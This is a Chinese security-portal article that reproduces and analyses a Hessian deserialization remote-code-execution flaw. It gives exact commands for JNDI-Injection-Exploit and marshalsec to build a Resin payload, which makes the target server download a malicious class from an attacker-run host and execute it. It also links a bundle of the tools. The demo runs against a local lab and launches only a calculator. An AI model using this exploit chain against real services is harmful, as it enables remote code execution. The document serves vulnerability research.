freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Hessian反序列化RCE漏洞复现及分析
2020-01-14 09:00:15

Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。

Hessian反序列化类似Java反序列化,可导致RCE,POC好像2017年就公开了,但是最新版本hessian-4.0.60.jar,经过测试也存在反序列化RCE问题。

使用marshalsec项目工具(https://github.com/mbechler/marshalsec)可生成利用payload,包括SpringCompAdv,Resin, ROME, XBean

下面使用Resin payload复现Hessian反序列化RCE漏洞

一、搭建测试环境

测试环境使用最新jar包

将HessianTest.war放到tomcat/webapp/目录下并启动tomcat

访问服务器地址http://127.0.0.1:8080/HessianTest/hessian,返回如下页面则说明环境正常

二、启动JNDI利用工具

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是某大佬写得JNDI注入利用工具,项目地址https://github.com/welk1n/JNDI-Injection-Exploit

编译后JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1

-C为需要执行的命令 -A为监听地址

三、生成payload

marshalsec工具地址https://github.com/mbechler/marshalsec

编译后的marshalsec-0.0.3-SNAPSHOT-all.jar

执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7>hession

将在当前目录生成hession的payload

注意:http://127.0.0.1:8180/ExecTemplateJDK7 为 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启动后生成的恶意代码地址

四、发送payload到hessian服务器

使用hessian.py 发送序列化的payload到服务器

执行命令:

python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian

可以看到服务器已经去JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上下载恶意类并执行弹出计算器

五、分析

使用hession的web项目需要配置web.xml,映射com.caucho.hessian.server.HessianServlet之相应的路径

Java客户端可以很方便的调用服务器上的方法,如下

查看com.caucho.hessian.server.HessianServlet的代码

service方法处理客户端发来的http请求,调用

调用HessianSkeleton的invoke方法,将从客户端发来的数据流中读取对象

看代码里面好像没有什么黑白名单过滤机制

通过抓取请求包,分析,构造请求包,将marshalsec工具生成的Resion payload发送给服务器

下面是构造请求包的hessian.py代码

利用图

 这是发送给Hessain服务器的请求包

所有工具打包地址

https://github.com/21superman/Hessian-Deserialize-RCE

*本文作者:21superman,转载请注明来自FreeBuf.COM

# 漏洞 # rce # Hessian
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录